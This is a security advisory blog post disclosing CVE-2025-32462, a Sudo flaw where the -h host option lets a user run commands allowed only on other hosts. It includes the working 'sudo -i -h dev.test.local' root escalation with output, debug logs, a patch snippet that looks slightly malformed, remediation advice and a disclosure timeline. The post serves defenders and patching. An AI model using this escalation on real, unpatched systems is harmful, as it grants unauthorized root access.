

Vulnerability Advisory: Sudo Host Option Elevation of Privilege

By [Rich Mirch](#) on Jun 30, 2025

Cybersecurity

Introduction

The [Sudo](#) utility is a privileged command-line tool commonly installed on Linux systems. It allows authorized users to execute a command as the superuser, or as another user, depending on the system's security policy. Sudo is widely used to enforce the principle of least privilege by allowing users to perform administrative tasks that require elevated permissions without sharing the root password, while also creating an audit trail in the system log.

The Stratascale Cyber Research Unit (CRU) team recently discovered two local privilege vulnerabilities in [Sudo](#). These vulnerabilities can result in the escalation of privileges to root on the impacted system.

The research focused on infrequently used command-line options. This blog explores how the *hostoption* in Sudo can be exploited to execute commands on unauthorized hosts.

Related Post

[CVE-2025-32463 – Sudo chroot Elevation of Privilege Vulnerability](#)



Remediation

- Install sudo 1.9.17p1 or later.
- Visit https://www.sudo.ws/security/advisories/host_any for additional information.

Impact

CVE-2025-32462 has remained unnoticed for over 12 years, despite being present in the code all along. It relies on a specific yet common configuration where Sudo rules are restricted to certain hostnames or hostname patterns. If these conditions are met, privilege escalation to root requires no exploit.

The following versions are known to be vulnerable. Note: Not all versions within the range have been tested.

- Stable 1.9.0 - 1.9.17
- Legacy 1.8.8 - 1.8.32

Exploitation has been verified on:

- Ubuntu 24.04.1; Sudo 1.9.15p5, Sudo 1.9.16p2
- macOS Sequoia 15.3.2; Sudo 1.9.13p2

Administrators / Blue Team Recommendations

- Install the latest sudo packages for your system. No workaround exists for this issue.

- Search your environment for any use of the *Host* or *Host_Alias* options. Review all Sudo rules defined in `/etc/sudoers`, and files under `/etc/sudoers.d`. If the Sudo rules are stored in LDAP, use tools such as `ldapsearch` to dump the rules.

CVE-2025-32462 - Sudo Host Option Elevation of Privilege Vulnerability

CVE-2025-32462 is an issue that has been hidden in plain sight since the *host* option was implemented 12 years ago. Because it's a built-in option, no exploit is needed to elevate privileges. However, the issue can only be leveraged with specific configurations using the *Host* or *Host_Alias* directives, which are commonly used in enterprise environments.

The *-h* (*--host*) option was implemented in Sudo v1.8.8, released in September 2013. This option allows users to list their Sudo rules for a host other than the current host.

Excerpt from the [NEWS](#) file:

The -h (--host) option may now be used to specify a host name. This is currently only used by the sudoers plugin in conjunction with the -l (--list) option.

The [sudoers](#) configuration provides flexible syntax to meet the technical needs of any size organization. Instead of maintaining multiple configurations for different types of hosts, a single *sudoers* file can be distributed across various types of Linux and UNIX systems. This is achieved by limiting rules to specific users, groups, and hosts.

For example, the following *sudoers* snippet shows two rules defined for the *lowpriv* user. This file is distributed to three servers (prod, dev, and ci). The goal is to limit access to production but allow the *lowpriv* user to fully manage the development environment.

- The first two lines are *Host_Alias* directives that define variables containing a list of hosts.

- The first rule uses the *Host_Alias* directive to allow the *lowpriv* user to execute all commands as root on the development server but explicitly denies the rule on the production server.
- The second rule explicitly allows the *lowpriv* user to execute all commands on the continuous integration server (*ci.test.local*).

Host_Alias	SERVERS	= prod.test.local, dev.test.local
Host_Alias	PROD	= prod.test.local
lowpriv	SERVERS, !PROD	= NOPASSWD:ALL
lowpriv	ci.test.local	= NOPASSWD:ALL

Executing the Sudo list option (`sudo -l`) verifies that *lowpriv* is not allowed to run any Sudo commands on the production server as the *!PROD* negation directive explicitly denies it.

```
lowpriv@prod:~$ id
uid=1001(lowpriv) gid=1001(lowpriv) groups=1001(lowpriv)
lowpriv@prod:~$ sudo -l
[sudo] password for lowpriv:
Sorry, user lowpriv may not run sudo on prod.
```

When a user executes Sudo, several attributes are compared to find a matching rule. If a match is found, the command is either allowed or denied. Enabling debugging through `/etc/sudo.conf` produces the following log entries (formatted for readability) during the evaluation of the attributes to determine if the *lowpriv* user is allowed to execute a command

as root on the production server. Although the user matches the *SERVERS Host_Alias*, the request is denied because of the explicit negation of *!PROD*, which is the expected behavior.

user lowpriv	matches sudoers user	lowpriv: ALLOW
host prod.test.local (prod)	matches sudoers host prod.test.local:	ALLOW
host prod.test.local (prod)	matches sudoers host	!PROD: DENY

The *-h host*, or *-host=host* option was designed to allow a user to list their Sudo rules for a different host. When the *lowpriv* user executes the list command with the *host* option set, the rules for the given host will be displayed. This confirms that the *lowpriv* user is allowed to execute all root commands on the *dev.test.local* server.

```
lowpriv@prod:~$ sudo -l -h dev.test.local
Matching Defaults entries for lowpriv on dev:
    env_reset, mail_badpass, secure_path=/usr/local

User lowpriv may run the following commands on dev:
(root) NOPASSWD: ALL
```

Reviewing the Sudo usage statement reveals that the *host* option is supported for non-list operations such as *sudoedit* (*sudo -e*). This behavior directly conflicts with the documentation, which states, "*This is currently only used by the sudoers plugin in conjunction with the -l (--list) option.*"



```
lowpriv@prod:~$ sudo -h
sudo - execute a command as another user

usage: sudo -h | -K | -k | -V
usage: sudo -v [-ABkNnS] [-g group] [-h host] [-p prompt] [-u user]
usage: sudo -l [-ABkNnS] [-g group] [-h host] [-p prompt] [-U user]
        [-u user] [command [arg ...]]
usage: sudo [-ABbEHkNnPS] [-r role] [-t type] [-C num] [-D directory]
        [-g group] [-h host] [-p prompt] [-R directory] [-T timeout]
        [-u user] [VAR=value] [-i | -s] [command [arg ...]]
usage: sudo -e [-ABkNnS] [-r role] [-t type] [-C num] [-D directory]
        [-g group] [-h host] [-p prompt] [-R directory] [-T timeout]
        [-u user] file ...
```

The Stratascale CRU team discovered that since the introduction of the *host* option in 2013, executing a *sudo* or *sudoedit* command with the *host* option referencing an unrelated remote *host* rule causes Sudo to treat the rule as valid for the local system. As a result, any command allowed by the remote host rule can be executed on the local machine.

Even though the production server is explicitly denied for the *lowpriv* user, root access is achieved by specifying the *host* option for the development server.



```
lowpriv@prod:~$ sudo -i -h dev.test.local
root@prod:~# id
uid=0(root) gid=0(root) groups=0(root)
```

The continuous integration server (ci.test.local) can also be specified to gain full root access.

```
lowpriv@prod:~$ sudo -i -h ci.test.local
root@prod:~# id
uid=0(root) gid=0(root) groups=0(root)
```

Reviewing the debug log shows that all attributes matched the *ci.test.local* sudo rule permitting the lowpriv user to execute */bin/bash* (via *sudo -i*).

user lowpriv	matches sudoers user	lowpriv: ALLOW
host ci.test.local (ci)	matches sudoers host	ci.test.local: ALLOW
user root	matches sudoers user	root: ALLOW
user command "/bin/bash"	matches sudoers command	"ALL": ALLOW



The initial proposed fix was shared by Todd Miller, the developer and maintainer of the Sudo project, and was verified to effectively prevent the issue by only allowing the host option to be specified for the list operation.

```
--- a/plugins/sudoers/sudoers.c
+++ b/plugins/sudoers/sudoers.c
@@ -350,6 +350,18 @@ sudoers_check_common(struct sudoers_context *ctx, int pwflag)
     time_t now;
     debug_decl(sudoers_check_common, SUDOERS_DEBUG_PLUGIN);

+    /* The user may only specify a host for "sudo -l". */
+    if (!ISSET(ctx->mode, MODE_LIST|MODE_CHECK)) {
+    if (strcmp(ctx->runas.host, ctx->user.host) != 0) {
+        log_warningx(ctx, SLOG_NO_STDERR|SLOG_AUDIT,
+        N_("user not allowed to set remote host for command"));
+        sudo_warnx("%s",
+        U_("a remote host may only be specified when listing privileges.));
+        ret = false;
+        goto done;
+    }
+    }
+    }
```

With the patch applied, the execution now fails with a usage error.




```
lowpriv@prod:~$ sudo -i -h ci.test.local
sudo: a remote host may only be specified when listing privileges.
```

Disclosure Timeline

04/01/2025: Vulnerability report sent to Todd Miller (Sudo maintainer).
04/03/2025: Follow-up request to confirm receipt of the initial report.
04/03/2025: Report acknowledged; initial discussion began.
04/06/2025: Maintainer proposed a patch for CVE-2025-32462.
04/07/2025: Requested CVEs from MITRE.
04/08/2025: MITRE assigned CVE-2025-32462 (host option) and CVE-2025-32463 (chroot).
04/08/2025: Verified the CVE-2025-32462 patch and provided additional feedback.
04/23/2025: Follow-up request for an update.
05/06/2025: Follow-up request for an update.
05/06/2025: Maintainer responded, still working on a solution to the chroot issue.
05/07/2025: Sent feedback on the chroot issue.
05/16/2025: Follow-up request for an update.
06/04/2025: Follow-up request for an update.
06/09/2025: Maintainer proposed a patch for CVE-2025-32463.
06/10/2025: Verified the CVE-2025-32463 patch; proposed disclosure timeline.
06/23/2025: Patch sent to operating system [distros](#) list. Sudo advisory links confirmed.
06/30/2025: Public disclosure.
06/30/2025: Blog post published.



Acknowledgment & Credit

The CVE-2025-32462 Sudo Host Option Elevation of Privilege Vulnerability was discovered by Rich Mirch of the Stratascale Cyber Research Unit. The Stratascale CRU team thanks the Sudo maintainer, Todd Miller, for the partnership in resolving these issues.

